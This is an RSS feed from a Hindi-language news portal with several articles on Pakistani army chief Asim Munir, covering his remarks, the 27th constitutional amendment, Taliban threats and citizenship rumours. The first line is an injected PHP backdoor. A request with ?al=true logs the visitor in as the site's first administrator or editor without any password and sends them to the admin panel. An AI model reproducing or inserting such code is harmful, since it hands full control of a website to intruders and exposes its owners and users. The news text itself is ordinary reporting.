// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Asim Munir – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Mon, 19 Jan 2026 13:20:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 जिस मकसद से बना पाकिस्तान, वो हर हाल में हासिल करेंगे – आसिम मुनीर का बड़ा इशारा, किस तरफ है संकेत? https://pratyushaashakinayikiran.com/?p=193904 Mon, 19 Jan 2026 13:20:00 +0000 https://pratyushaashakinayikiran.com/?p=193904 इस्लामाबाद
पाकिस्तान के चीफ ऑफ डिफेंस, फील्ड मार्शल आसिम मुनीर का एक बयान काफी चर्चा में है। इस बयान में आसिम मुनीर ने कहा कि पाकिस्तान इस्लाम के नाम पर अस्तित्व में आया था। अब वह इस मोड़ पर है, जहां वह अपने इस लक्ष्य को हासिल कर सकता है। खास बात यह है कि जब मुनीर ने यह बात कही तब वहां पर प्रधानमंत्री शहबाज शरीफ, पूर्व प्रधानमंत्री नवाज शरीफ, पंजाब की मुख्यमंत्री मरियम नवाज समेत कई अन्य वरिष्ठ सिविल और मिलिट्री अधिकारी मौजूद थे। इसके अलावा कैबिनेट मंत्री, पॉलिटिकल लीडर्स और शरीफ परिवार के सदस्य मौजूद थे। मौका था, नवाज शरीफ के पोते और मरियम नवाज के बेटे जुनैद सफदर की शादी का रिसेप्शन का।
 
कहां बोल रहे थे मुनीर
इस दौरान पत्रकारों से बात करते हुए आसिम मुनीर ने कहा कि पाकिस्तान तेजी से अपने लक्ष्य की तरफ बढ़ रहा है। इंडिया टुडे के मुताबिक मुनीर ने कहा कि पाकिस्तान को इस्लाम के नाम पर बनाया गया था। आज यह इस्लामिक देशों में अलग अहमियत रखता है। उन्होंने आगे कहा कि अल्लाह के रास्ते पर आगे बढ़ना खास नियामत है। पाकिस्तान ने हाल के दिनों में मुस्लिम एकता के नाम पर कुछ देशों से डिफेंस और फाइनेंस की डील की है। इन देशों में सऊदी अरब और तुर्की का नाम प्रमुख है। इसके अलावा पाकिस्तान इस्लामिक नाटो बनाने की भी योजना बना रहा है।

अंतर्राष्ट्रीय पहचान की बात
इतना ही नहीं, मुनीर ने अंतर्राष्ट्रीय स्तर पर पाकिस्तान का दबदबा बढ़ाने की बात की। संभवत: वह डोनाल्ड ट्रंप के साथ वाइट हाउस में मीटिंग और डिनर की तरफ इशारा कर रहे थे। इसके अलावा पाकिस्तान के गाजा पीस में शामिल होने का भी उन्होंने जिक्र किया। इतना ही नहीं, मुनीर ने यह भी बताने की कोशिश की कि मई 2025 में भारत के साथ युद्ध में पाकिस्तान हावी रहा था।

कैसे अलग हैं मुनीर
बता दें कि फील्ड मार्शल आसिम मुनीर अपने पूर्ववर्तियों से काफी अलग हैं। पिछले आर्मी चीफ ज्यादातर सैंडहर्स्ट-प्रशिक्षित अधिकारी थे, जो औपचारिक रूप से राजनीति और धर्म दोनों से दूर रहते थे, और उन्हें पश्चिमी संगीत और व्हिस्की का शौक था। इसके उलट मुनीर, हाफिए-ए-कुरान हैं। हाफिज-ए-कुरान उसे कहते हैं, जिसे कुरान याद है। ऐसे में मुनीर के लिए धर्म एक बड़ा आधार है। मुनीर, मिलिट्री इंटेलीजेंस और आईएसआई दोनों के मुखिया हैं। उनके पद ग्रहण करने के बाद से ही पाकिस्तानी सेना में धर्म की तरफ रुझान दिखाई देने लगा है।

सेना में धर्म का बढ़ता प्रभाव
मुनीर के नेतृत्व में, सेना ने न केवल राज्य की रक्षा करने के रूप में ही नहीं, बल्कि इस्लाम की रक्षा करने के रूप में भी अधिक स्पष्ट रूप से प्रस्तुत किया है। इसमें 7वीं सदी के अरबी और इस्लामी प्रतीकों का भारी इस्तेमाल किया गया है। सशस्त्र विरोधियों, जिनमें बलोचिस्तान और खैबर पख्तूनख्वा के विद्रोही शामिल हैं, को ‘फितना अल-खवारिज’ और ‘फितना अल-हिंदुस्तान’ कहा गया है, जिससे उन्हें धर्मभ्रष्ट विद्रोही और भारतीय दलाल के रूप में चित्रित किया गया है।

 

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पाकिस्तान में बड़ा बदलाव: 27वां संविधान संशोधन पास, आसिम मुनीर होंगे पहले चीफ ऑफ डिफेंस फोर्सेस https://pratyushaashakinayikiran.com/?p=191273 Thu, 13 Nov 2025 11:37:00 +0000 https://pratyushaashakinayikiran.com/?p=191273 इस्लामाबाद
 पाकिस्तान की संसद ने एक संवैधानिक संशोधन पारित किया. जो सेना प्रमुख को आजीवन कानूनी छूट प्रदान करता है, साथ ही उनकी शक्तियों का विस्तार करता है और सुप्रीम कोर्ट की शक्तियों पर अंकुश लगाता है. विपक्ष ने कहा कि इस कदम ने देश में लोकतंत्र के जहाज को डुबो दिया है.

234 सांसदों ने संविधान संशोधन के पक्ष में किया मतदान
डॉन के अनुसार नेशनल असेंबली ने 27वें संविधान संशोधन विधेयक को दो-तिहाई से अधिक बहुमत से मंजूरी दे दी. इसमें 234 सांसदों ने इसके पक्ष में और केवल चार ने विरोध में मतदान किया. 59 खंडों वाले इस विधेयक को सीनेट ने इस हफ्ते की शुरुआत में मंजूरी दे दी थी, जिसके पक्ष में 64 वोट पड़े थे और विपक्ष का कोई वोट नहीं पड़ा क्योंकि विपक्षी दलों ने कार्यवाही का बहिष्कार किया था.

थल सेनाध्यक्ष को रक्षा बलों के प्रमुख सीडीएफ का पद प्राप्त होगा
डॉन ने बताया कि विधेयक को अब मामूली संशोधनों पर पुनर्विचार के लिए सीनेट में वापस भेजा जाएगा, जिसके बाद इसे राष्ट्रपति आसिफ अली जरदारी के पास मंजूरी के लिए भेजा जाएगा. संशोधन के तहत पाकिस्तान के थल सेनाध्यक्ष को रक्षा बलों के प्रमुख (सीडीएफ) का पद भी प्राप्त होगा.

इससे वह पाकिस्तान की थल सेना, नौसेना और वायु सेना का औपचारिक प्रमुख बन जाएगा. यह विधेयक फील्ड मार्शल, वायु सेना के मार्शल और फ्लीट के एडमिरल जैसी मानद सैन्य उपाधियों को आजीवन पदनाम के रूप में भी संरक्षित करता है. इस परिवर्तन से जनरल आसिम मुनीर पाकिस्तान के रक्षा ढांचे के केन्द्र में आ गए हैं, जिससे सेना प्रमुख को अपने पूर्ववर्तियों की तुलना में व्यापक संवैधानिक मान्यता और प्रभाव प्राप्त हुआ है.

संघीय संवैधानिक न्यायालय (FCC) की स्थापना
डॉन के अनुसार यह संशोधन संवैधानिक मामलों को निपटाने के लिए एक नए संघीय संवैधानिक न्यायालय (FCC) की स्थापना करता है. इससे पाकिस्तान के सुप्रीम कोर्ट की भूमिका प्रभावी रूप से कम हो जाएगी, जिसने हाल के वर्षों में सरकारी नीतियों को अवरुद्ध किया है. वर्तमान प्रधानमंत्रियों को पद से हटाया है. नए न्यायालय के न्यायाधीशों की नियुक्ति सरकार द्वारा की जाएगी और यह मौजूदा सुप्रीम कोर्ट से अलग कार्य करेगा.

रिपोर्ट के अनुसार पाकिस्तान के मुख्य न्यायाधीश (सीजेपी) का पद वर्तमान पदधारक के पास ही रहेगा, लेकिन भविष्य की नियुक्तियों में सीजेपी को सुप्रीम कोर्ट और नए एफसीसी, दोनों के मुख्य न्यायाधीशों में सबसे वरिष्ठ न्यायाधीश के रूप में परिभाषित किया जाएगा.

पीटीआई ने किया संविधान संशोधन का विरोध
नए न्यायालय को उच्च राजद्रोह के कृत्यों की पुष्टि करने से भी रोक दिया जाएगा. आलोचकों का कहना है कि यह प्रावधान सेना सहित राज्य संस्थाओं को जवाबदेही से बचाता है. जेल में बंद पूर्व प्रधानमंत्री इमरान खान द्वारा स्थापित पाकिस्तान तहरीक-ए-इंसाफ (पीटीआई) ने मतदान से पहले सदन से बहिर्गमन किया और विरोध में विधेयक की प्रतियां फाड़ दी.

लोकतंत्र और न्यायिक स्वतंत्रता के जहाज को डुबो दिया: पीटीआई
पीटीआई अध्यक्ष बैरिस्टर गौहर अली खान ने कहा कि सरकार ने लोकतंत्र और न्यायिक स्वतंत्रता के जहाज को डुबो दिया है. उन्होंने आगे कहा, 'उन्होंने एक और संशोधन पेश किया है जो हम पहली बार देख रहे हैं. अनुच्छेद 260 में हर चीज की परिभाषाएँ हैं लेकिन उन्होंने बिना किसी उचित बहस के एक नया उपखंड जोड़ दिया. पाकिस्तानी प्रधानमंत्री शहबाज शरीफ ने विधेयक के पारित होने का बचाव करते हुए कहा कि संसद ने एकजुटता और राष्ट्रीय एकता दिखाई है.

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पाकिस्तान में असली ताकत किसके हाथ? आसिम मुनीर को मिली सुपरपावर, संसद भी बेअसर! https://pratyushaashakinayikiran.com/?p=190287 Sun, 09 Nov 2025 12:05:00 +0000 https://pratyushaashakinayikiran.com/?p=190287 इस्लामाबाद 
पाकिस्तान में सेना प्रमुख आसिम मुनीर का कद एक बार फिर बढ़ गया है। जानकारी के मुताबिक बहुचर्चित 27वां संविधान विधेयक पाकिस्तान की संसद में पास हो गया है। इसके तहत सेना प्रमुख के बेतहाशा ताकत मिल गई है। सेना प्रमुख आसिम मुनीर अब तीनों सेनाओं के प्रमुख होंगे। प्रस्ताव के मुताबिक प्रधानमंत्री शहबाज शरीफ और राष्ट्रपति आसिफ अली जरदारी की अगुआई में ये सारे बदलाव लागू होंगे। इस नए कानून से सेना प्रमुख को सुपरपावर मिल जाएगी जो कि तख्तापलट को संवैधानिक मंजूरी देने के बराबर है।
 
इस विधेयक में संविधान के 243वें आर्टिकल में बदलाव किया गया है। यह आर्टिकल सशस्त्र बलों से जुड़ा हुआ है। इसके तहत राष्ट्रपति प्रधानमंत्री के मशविरे पर सेना प्रमुख और रक्षा बल प्रमुख की नियुक्ति करेंगे। सेना प्रमुख अब रक्षा बलों के प्रमुख भी होंगे। इसके अलावा रक्षा प्रमुख ही राष्ट्रीय सामरिक कमान के प्रमुख की नियुक्ति प्रधानमंत्री से सलाह करके करेंगे।

बता दें कि आसिम मुनीर को पहले ही फील्ड मार्शल का पद दे दिया गया था। वहीं इस संविधान संशोधन विधेयक से इसे संवैधानिक मान्यता दे दी गई है। फील्ड मार्शल का पद और विशेषाधिकार आजीवन बने रहेंगे। इसके अलावा अब जॉइंट चीफ्स ऑफ स्टाफ कमेटी के अध्यक्ष का पद समाप्त कर दिया जाएगा। पाकिस्तान के कानून मंत्री ने बताया कि अब 27 नवंबर के बाद से सीजेसीएससी के पद पर नियुक्ति नहीं होगी।

इसके अलावा इस कानून से सरकार को फील्ड मार्शल, मार्शल ऑफ एयर फोर्स और ऐडमिरल ऑफ फ्लीट के पद पर अधिकारियों के पदोन्नत करने का अधिकार भी मिल जाता है। पाकिस्तानी मीडिया का कहना है कि भारत के ऑपरेशन सिंदूर से परेशान होने के बाद पाकिस्तान ने ये बदलाव किए हैं। एयर चीफ मार्शल ए.पी. सिंह ने पिछले महीने कहा था कि भारत के हमलों में अमेरिकी एफ-16 विमान समेत कम से कम 12 पाकिस्तानी सैन्य विमान नष्ट हो गए या क्षतिग्रस्त हो गए। भारत का कहना है कि मई में भारतीय सेना द्वारा विभिन्न पाकिस्तानी सैन्य ढांचों पर बमबारी के बाद पाकिस्तान ने संघर्ष समाप्त करने का अनुरोध किया था। संघर्ष के तुरंत बाद, पाकिस्तान सरकार ने सेना प्रमुख जनरल असीम मुनीर को ‘फील्ड मार्शल’ के पद पर पदोन्नत कर दिया, जिससे वह देश के इतिहास में इस पद पर पदोन्नत होने वाले दूसरे शीर्ष सैन्य अधिकारी बन गये थे। ॉ इसके अलावा सेना का समन्वय ठीक करने के लिए उसने चीफ ऑफ डिफेंस फोर्सेज का पद सृजित करने की योजना बनाई थी।

प्रधानमंत्री भी फील्ड मार्शल को हटा नहीं सकते
बता दें कि फील्ड मार्शल का पद प्रधानमंत्री भी छीन नहीं सकते हैं। वहीं प्रधानमंत्री राष्ट्रीय सामरिक कमान के कमांडरों की नियुक्ति करेंगे जिससे पाकिस्तान के परमाणु कमान ढांचे पर सैन्य नियंत्रण स्थापित हो जाएगा। इसके अलावा फील्ड मार्शल पर महाभियोग लगाने या फिर उपाधि खत्म करने का अधिकार भी प्रधानमंत्री के पास नहीं होगा। रिटायरमेंट के बाद फील्ड मार्शल को और भी जिम्मेदारियां दी जा सकती हैं।

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मर्द हो तो सामना करो: पाकिस्तानी तालिबान ने सेना प्रमुख आसिम मुनीर को दी खुली धमकी https://pratyushaashakinayikiran.com/?p=186833 Thu, 23 Oct 2025 16:25:00 +0000 https://pratyushaashakinayikiran.com/?p=186833 काबुल
अफगानिस्तान और पाकिस्तान में तनाव चरम पर है। भले ही सीजफायर को आगे बढ़ाया गया हो, लेकिन बीच-बीच में संघर्ष के मामले सामने आ ही जाते हैं। इस बीच, तहरीक-ए-तालिबान पाकिस्तान (TTP या पाकिस्तानी तालिबान) ने पाकिस्तानी आर्मी चीफ आसिम मुनीर को धमकी दी है। पाकिस्तानी तालिबान ने मुनीर से कहा है कि अगर तुम मर्द हो तो हमारा सामना करो। टीटीपी के सामने आए वीडियोज में उसके कमांडर का कहना है कि मुनीर को अपने सैनिकों को मरने के लिए भेजने के बजाए, अपने टॉप अधिकारियों को जंग के मैदान में भेजना चाहिए।

खबर के अनुसार, तमाम वीडियोज में आठ अक्टूबर को खैबर पख्तनूख्वा के कुर्रम इलाके में हुए हमले के फुटेज भी शामिल हें। इसमें टीटीपी ने 22 पाकिस्तानी सैनिकों को मार गिराया था, जिससे हड़कंप मच गया। हालांकि, पाकिस्तान ने संख्या को छिपाते हुए सिर्फ 11 सैनिकों के मारे जाने की ही बात स्वीकारी। एक वीडियो में टीटीपी का सीनियर कमांडर जिसकी पहचान कमांडर काजिम से हुई है, वह पाकिस्तानी आर्मी चीफ मुनीर को धमकी देते हुए दिखाई दे रहा।

वीडियो में काजिम कहता है, ''अगर तुम मर्द हो तो हमारा सामना करो।'' वीडियो में आगे कहता है कि अगर तुमने अपनी मां का दूध पिया है, तब हमसे लड़ाई करो। इस वीडियो से पाकिस्तानी सेना में दहशत व्याप्त हो गई है। पाकिस्तान ने काजिम पर दस करोड़ (पाकिस्तानी रुपये) का इनाम रख दिया है। माना जा रहा है कि काजिम हाल ही में पाक सेना के एक लेफ्टिनेंट कर्नल और एक मेजर की हत्या में शामिल था।

पाकिस्तान के एक अधिकारी ने बताया कि काजिम, जो कुर्रम जिले का रहने वाला है, पाराचिनार जा रहे मिलिट्री काफिलों और शिया समुदाय की गाड़ियों पर हमलों के पीछे भी था। उस पर कुर्रम के डिप्टी कमिश्नर जावेदुल्लाह महसूद की हत्या की कोशिश की साज़िश रचने का भी आरोप है। पाकिस्तान और अफगानिस्तान के बीच रिश्ते 2023 से ही खराब हैं, लेकिन अब ज्यादा तनाव पैदा हो गया है। इस्लामाबाद ने बार-बार इस बात पर चिंता जताई है कि आतंकवादी बॉर्डर पार से हमले करने के लिए अफगान जमीन का इस्तेमाल कर रहे हैं।

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असीम मुनीर की पत्नी और बच्चों को मिली अमेरिकी नागरिकता? विवादित खबर पर लोग चर्चा में https://pratyushaashakinayikiran.com/?p=183613 Sun, 07 Sep 2025 04:25:00 +0000 https://pratyushaashakinayikiran.com/?p=183613 न्यूयॉर्क

पाकिस्तान के सैन्य अधिकारियों और नेताओं का लगाव अपने ही मुल्क से कम और विदेशों से ज्यादा दिखाई देता है. रिटायरमेंट के बाद ये अक्सर दूसरे देशों में जाकर बस जाते हैं. इनके बच्चे भी ज्यादातर बाहर ही पढ़ते हैं. अब सोशल मीडिया पर एक ऐसा दावा सामने आया है जिसने सबको चौंका दिया है.

चर्चा यह है कि पाकिस्तान सेना प्रमुख जनरल असीम मुनीर की पत्नी सईदा इरम ने जून के पहले हफ्ते में अमेरिकी नागरिकता के लिए आवेदन किया था. कहा जा रहा है कि 22 अगस्त को सईदा इरम और उनके तीनों बच्चों को अमेरिकी पासपोर्ट मिल गया. यह दावा मेजर जनरल राजू चौहान से जुड़े एक एक्स अकाउंट पर किया गया. अकाउंट पर उन्होंने लिखा- ‘मैं काफी समय से कह रहा हूं कि अपने सभी पूर्ववर्तियों की तरह, वह (मुनीर) भी पाकिस्तान में सब कुछ बेचकर भाग जाएंगा.’ हालांकि न्यूज18 इंडिया इस दावे की स्वतंत्र पुष्टि नहीं करता है. याद दिला दें कि ऑपरेशन सिंदूर के दौरान भी यह रिपोर्ट सामने आई थी कि मुनीर ने अपनी पत्नी और बच्चों को विदेश भेज दिया था. वैसे, पाकिस्तान में नेताओं, अफसरों और सैन्य अधिकारियों द्वारा पश्चिमी देशों की नागरिकता लेना कोई नई बात नहीं है.

दोहरी नागरिकता का खेल

पाकिस्तान में दोहरी नागरिकता कानूनी तौर पर मान्य है लेकिन इसकी इजाजत सिर्फ 22 देशों तक सीमित है. इसमें अमेरिका, कनाडा, ब्रिटेन और यूरोप के 14 देश शामिल हैं. संविधान मूल रूप से इसकी इजाजत नहीं देता था, लेकिन 1972 में संशोधन के बाद यह रास्ता खुला. दिलचस्प यह है कि दोहरी नागरिकता वाले लोगों को सरकारी नौकरी की अनुमति नहीं है, लेकिन पाकिस्तान में यह नियम अक्सर मजाक बनकर रह जाता है.

पेंडोरा पेपर्स ने खोली थी पोल

साल 2021 में लीक हुए पेंडोरा पेपर्स ने खुलासा किया था कि पाकिस्तानी सेना के कई वरिष्ठ अफसर और इमरान खान सरकार के मंत्री विदेशों में अरबों की संपत्ति के मालिक हैं. इसी साल जनवरी में आई एक रिपोर्ट में बताया गया कि 22,000 से ज्यादा पाकिस्तानी नौकरशाह दोहरी नागरिकता रखते हैं. कानून के मुताबिक सेना के अफसर दोहरी नागरिकता नहीं ले सकते और सेवा में रहते हुए किसी विदेशी नागरिक से शादी भी नहीं कर सकते. लेकिन असलियत कुछ और ही है. यही वजह है कि 2018 में पाक सुप्रीम कोर्ट ने इस मसले पर सरकार को नोटिस भी भेजा था.
दिल तो परदेसी है

    पाक सेना के पूर्व जनरल रहील शरीफ रिटायर होते ही सऊदी अरब चले गए. पूर्व ISI प्रमुख लेफ्टिनेंट जनरल शुजा पाशा ने रिटायरमेंट के बाद UAE की एक मल्टीनेशनल कंपनी जॉइन कर ली. दोनों मामलों पर सुप्रीम कोर्ट ने सरकार से जवाब तक मांगा था. कई छोटे रैंक के अफसर भी विदेश जाकर बस जाते हैं.

    राजनीति की बात करें तो पूर्व पीएम नवाज शरीफ के बेटे हसन और हुसैन ब्रिटिश नागरिक हैं. खुद नवाज और उनकी बेटी मरियम नवाज के पास ब्रिटेन का ILR (Indefinite Leave to Remain) है, जो स्थायी निवास की तरह है. भुट्टो परिवार की बात करें तो बिलावल भुट्टो के पास दोहरी नागरिकता नहीं है, लेकिन उनकी मां बेनजीर भुट्टो और पिता आसिफ अली जरदारी ने पढ़ाई विदेश में की.

    पाकिस्तान के पूर्व सैन्य तानाशाह परवेज मुशर्रफ की नागरिकता रद्द कर दी गई थी, लेकिन वे 2023 में अपनी मौत तक दुबई में ही रहे. वहीं इमरान खान की कैबिनेट में कई मंत्री अमेरिका, यूके और कनाडा की नागरिकता रखते थे. सांसद हारून अख्तर और सादिया अब्बासी को तो विदेशी पासपोर्ट की वजह से अपनी सदस्यता तक गंवानी पड़ी थी.

 

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पाक आर्मी चीफ आसिम मुनीर ने नफरत के बीच सच बताया: भारत चमचमाती मर्सडीज, पाकिस्तान कबाड़ ट्रक https://pratyushaashakinayikiran.com/?p=177087 Mon, 11 Aug 2025 06:46:00 +0000 https://pratyushaashakinayikiran.com/?p=177087 नई दिल्ली

पाकिस्तान के आर्मी चीफ फील्ड मार्शल आसिम मुनीर ने भारत को धमकी देते देते कई कड़वी सच्चाइयां भी स्वीकार की है. आसिम मुनीर ने भारत की तुलना चमचमाती मर्सडीज कार से की है जो हाईवे पर फर्राटा भर रही है, जबिक मुनीर ने पाकिस्तान को कबाड़ ढोने वाली ट्रक कहा है. उन्होंने भारत को धमकी देते हुए कहा है कि सोचिए अगर इन दोनों गाड़ियों की टक्कर हो जाए तो नुकसान किसका होगा? 

मुनीर ने ये बयान अमेरिका में दिया है. आसिम मुनीर ने ऑपरेशन सिंदूर में पाकिस्तान की हुई पिटाई के बाद जमकर अपनी भड़ास निकाली. पाकिस्तान के आर्मी चीफ ने बचकानी धमकी देते हुए कहा कि अगर भारत की वजह से पाकिस्तान के अस्तित्व पर संकट आता है तो पाकिस्तान आधी दुनिया को अपने साथ ले डूबेगा. आसिम मुनीर का ये बयान किसी तीसरे देश से भारत के खिलाफ पाकिस्तान द्वारा दी गई पहली धमकी है. 

आसिम मुनीर अमेरिका के टैम्पा में एक ब्लैक टाई डिनर पार्टी में शामिल हो रहे था. इस पार्टी को पाकिस्तानी बिजनेसमैन अदनान असद ने आयोजित किया था. अदनान असद टैम्पा में पाकिस्तान के मानद काउंसल हैं. 

10 मिसाइल से फारिग कर देंगे..

इस साल मई में हुए ऑपरेशन सिंदूर के बाद आसिम मुनीर का ये दूसरा पाकिस्तान दौरा है. पाकिस्तान में मुल्ला जनरल का टाइटल पाने वाला आसिम मुनीर ने सिंधु जल समझौते को सस्पेंड करने पर भारत को धमकी दी. अंग्रेजी वेबसाइट द प्रिंट ने वहां मौजूद सूत्रों के आधार पर लिखा है, ''आसिम मुनीर ने कहा- हम भारत द्वारा डैम बनाए जाने का इंतजार करेंगे, और भारत जब ऐसा कर लेगा तो फिर 10 मिसाइल से फारिग कर देंगे, सिंधु नदी भारत की फैमिली प्रोपर्टी नहीं है, हमें मिसाइलों की कमी नहीं है.''

बता दें कि ब्लैक टाई डिनर एक औपचारिक सोशल पार्टी होती है. इसमें मेजबान मेहमानों से अपेक्षा करता है कि  ब्लैक टाई ड्रेस कोड का पालन करेंगे. यह ड्रेस कोड उच्च स्तर की औपचारिकता को दर्शाता है और आमतौर पर रात के समय आयोजित होने वाले विशेष अवसरों, जैसे गाला, पुरस्कार समारोह, शादी, या उच्च-स्तरीय डिनर पार्टियों में देखा जाता है.

इस पार्टी में पुरुषों को काला टक्सीडो, सफेद शर्ट, काला बो टाई, काला वेस्ट या कमरबैंड और पॉलिश किए हुए औपचारिक जूते पहनने की अपेक्षा की जाती है. इस पार्टी में जिन मेहमानों को बुलाया गया था तो उन्हें मोबाइल फोन या फिर दूसरे डिजिटल डिवाइस लाने की अनुमति नहीं थी. 

फ्लोरिडा के टैम्पा में आयोजित इस डिनर के हर निवाले में भारत के प्रति नफरत, मजहबी कट्टरवाद भरा हुआ था. 

फील्ड मार्शल मुनीर ने कहा, "हम भारत के पूर्व से शुरुआत करेंगे जहां उन्होंने अपने सबसे मूल्यवान संसाधन स्थापित किए हैं और फिर पश्चिम की ओर बढ़ेंगे."

बता दें कि फील्ड मार्शल मुनीर की छवि धार्मिक रूप से कट्टर जनरल की है. मुनीर पाकिस्तान का पहला आर्मी चीफ है जिसने अपनी पढ़ाई मदरसे से की है. आसिम मुनीर अक्सर अपने तर्कों के समर्थन में मजहबी उदाहरणों का इस्तेमाल करते हैं. 

भारत मर्सडीज की तरह चमचमाती कार, पाकिस्तान डंप ट्रक

पाकिस्तान भारत को कैसे नुकसान कर पहुंचा सकता है ये बताने के लिए मुनीर ने एक उदाहरण दिया. जहां उसने भारत को एक चमचमाती मर्सिडीज बताया और पाकिस्तान को बजरी से भरा एक डंप ट्रक कहा. 

फील्ड मार्शल मुनीर ने कहा, "मैं स्थिति को समझाने के लिए एक साधारण सा उदाहरण इस्तेमाल करूंगा. भारत फेरारी की तरह हाईवे पर आती हुई एक चमचमाती मर्सिडीज है, लेकिन हम कबाड़, ईंट-पत्थर से भरा एक डंप ट्रक हैं. अगर ये ट्रक उस कार से टकराता है, तो नुकसान किसका होगा?"

फील्ड मार्शल मुनीर ने इस अवसर का उपयोग पाकिस्तानी राजनीति और रणनीतिक निर्णय लेने में सेना की भागीदारी का पक्ष रखने के लिए भी किया.  मुनीर ने पाकिस्तान के मंत्री बाबर खान गौरी के बयान की चर्चा करते हुए कहा कि वे कहते हैं कि युद्ध इतना गंभीर है कि उसे जनरलों पर नहीं छोड़ा जा सकता, लेकिन राजनीति भी इतनी गंभीर है कि उसे राजनेताओं पर नहीं छोड़ा जा सकता."

ट्रंप की तारीफ में मस्का लगाया

फील्ड मार्शल मुनीर ने भारत और अमेरिका के बीच हालिया कूटनीतिक तनाव का भी ज़िक्र किया. मुनीर ने कहा कि पाकिस्तान को प्रतिद्वंद्वी शक्तियों के बीच संतुलन बनाने के लिए मास्टरक्लास देना शुरू कर देना चाहिए. मुनीर ने कहा, "हमारी सफलता का असली कारण यह है कि हम कंजूस नहीं हैं. अगर कोई अच्छा काम करता है, तो हम उसकी प्रशंसा करते हैं और उसे महत्व देते हैं. इसीलिए हमने राष्ट्रपति डोनाल्ड ट्रंप को नोबेल पुरस्कार के लिए नामांकित किया है."

मुनीर ने इस दौरे में  वरिष्ठ अमेरिकी राजनीतिक और सैन्य हस्तियों के साथ-साथ पाकिस्तानी प्रवासी समुदाय के सदस्यों से भी मुलाकात की.

टैम्पा में मुनीर ने निवर्तमान अमेरिकी सेंट्रल कमांड (CENTCOM) कमांडर जनरल माइकल कुरिल्ला के सेवानिवृत्ति समारोह और एडमिरल ब्रैड कूपर, जिन्होंने CENTCOM प्रमुख का पदभार संभाला, के कमान परिवर्तन समारोह में भाग लिया. मुनीर ने कुरिल्ला के नेतृत्व और अमेरिका-पाकिस्तान सैन्य संबंधों में उनके योगदान की प्रशंसा की. साथ ही कूपर को साझा सुरक्षा मुद्दों से निपटने में सफलता की कामना की.

मुनीर ने ज्वाइंट चीफ ऑफ स्टाफ के अध्यक्ष जनरल डैन केन से भी बातचीत की और उन्हें पाकिस्तान आने का निमंत्रण दिया. समाचार एजेंसी पीटीआई के अनुसार मुनीर ने इस अवसर पर कुछ देशों के डिफेंस चीफ से भी मुलाकात की. 
 

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राष्ट्रपति बनेंगे जनरल आसिम मुनीर? शहबाज शरीफ से मुलाकात के बाद अटकलें तेज https://pratyushaashakinayikiran.com/?p=171087 Thu, 17 Jul 2025 03:56:00 +0000 https://pratyushaashakinayikiran.com/?p=171087 कराची 

पाकिस्तान में बड़े सियासी बदलाव की अटकलें हैं। मंगलवार को प्रधानमंत्री शहबाज शरीफ के साथ सेना प्रमुख आसिम मुनीर और राष्ट्रपति आसिफ जरदारी की मुलाकात ने चर्चाएं और बढ़ा दी हैं। कहा जा रहा था कि मुनीर राष्ट्रपति पद पर जरदारी की जगह ले सकते हैं। हालांकि, इसे लेकर आधिकारिक तौर पर कुछ नहीं कहा गया है। पाकिस्तान सरकार के मंत्री भी इन्हें खारिज कर रहे हैं।

एक्सप्रेस ट्रिब्यून की रिपोर्ट के अनुसार, राष्ट्रपति आवास में पीएम शरीफ ने जरदारी से मुलाकात की। इसके कुछ देर पहले ही मुनीर पीएम आवास पर पहुंचे और शरीफ से मीटिंग की। मंगलवार शाम हुईं एक के बाद एक उच्च स्तरीय बैठक ने राष्ट्रपति बदलने की अटकलों को हवा दे दी है।

अखबार से बातचीत में रक्षा मंत्री ख्वाजा आसिफ ने कहा कि राष्ट्रपति के इस्तीफे और उनकी जगह सेना प्रमुख के लेने का मुद्दा राष्ट्रपति जरदारी और पीएम शहबाज की मीटिंग में उठा जरूर था, लेकिन उन्होंने ऐसी सभी खबरों को निराधार बताया है। उन्होंने कहा कि ये अटकलें एक मीडिया स्टोरी के बाद सामने लगने लगी थी, जिसे बाद में संभवत: वापस ले लिया था।

आसिफ ने सभी अटकलों को खारिज किया है और कहा है कि राष्ट्रपति जरदारी को सभी घटनाक्रमों की जानकारी दी गई है। उन्होंने कहा कि राष्ट्रपति ने सरकार और मौजूदा राजनीतिक व्यवस्था में पूरा भरोसा दिखाया है। उन्होंने कहा, 'राष्ट्रपति इस मुद्दे से अवगत हैं और सरकार में पूरा भरोसा दिखाया है।' उन्होंने कहा कि पीएम ने राष्ट्रपति को अपुष्ट खबरों और घटनाक्रमों से अवगत कराया है।

रिपोर्ट के अनुसार, उन्होंने इस बात की भी पुष्टि की है कि पीएम की अगुवाई वाली प्रतिनिधिमंडल के राष्ट्रपति से मिलने से पहले शहबाज शरीफ ने आसिम मुनीर से मुलाकात की थी। उन्होंने कहा कि इसमें कुछ भी असामान्य नहीं है, क्योंकि प्रधानमंत्री और फील्ड मार्शल अलग-अलग मुद्दों पर चर्चा के लिए हफ्ते में तीन बार मुलाकात करते हैं। आसिफ ने कहा, 'सेना प्रमुख को राजनीति में कोई दिलचस्पी नहीं है।'

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बुरी तरह घिरा पाकिस्तान, माफी मांगो, आपके नोबेल नॉमिनी ने ईरान पर बम बरसा दिए https://pratyushaashakinayikiran.com/?p=165954 Mon, 23 Jun 2025 11:16:00 +0000 https://pratyushaashakinayikiran.com/?p=165954 कराची 

अमेरिकी राष्ट्रपति डोनाल्ड ट्रंप का नोबेल पुरस्कार के लिए नामांकन करने वाली पाकिस्तान की सेना और सरकार अब बुरी तरह घिर गए हैं। बीते सप्ताह पाकिस्तान के सेना प्रमुख आसिम मुनीर वॉशिंगटन गए थे और डोनाल्ड ट्रंप के साथ मुलाकात की थी। इस मीटिंग के बाद से कयास लग रहे हैं कि अमेरिका को पाकिस्तान की ओर से ईरान हमले में मदद की जा सकती है। कहा जा रहा है कि अमेरिका की ओर से कराए गए लंच की कीमत पर एयरबेस और समंदर इस्तेमाल करने की इजाजत पाकिस्तान दे सकता है। यहीं से अमेरिका की ईरान पर हमले की तैयारी है।

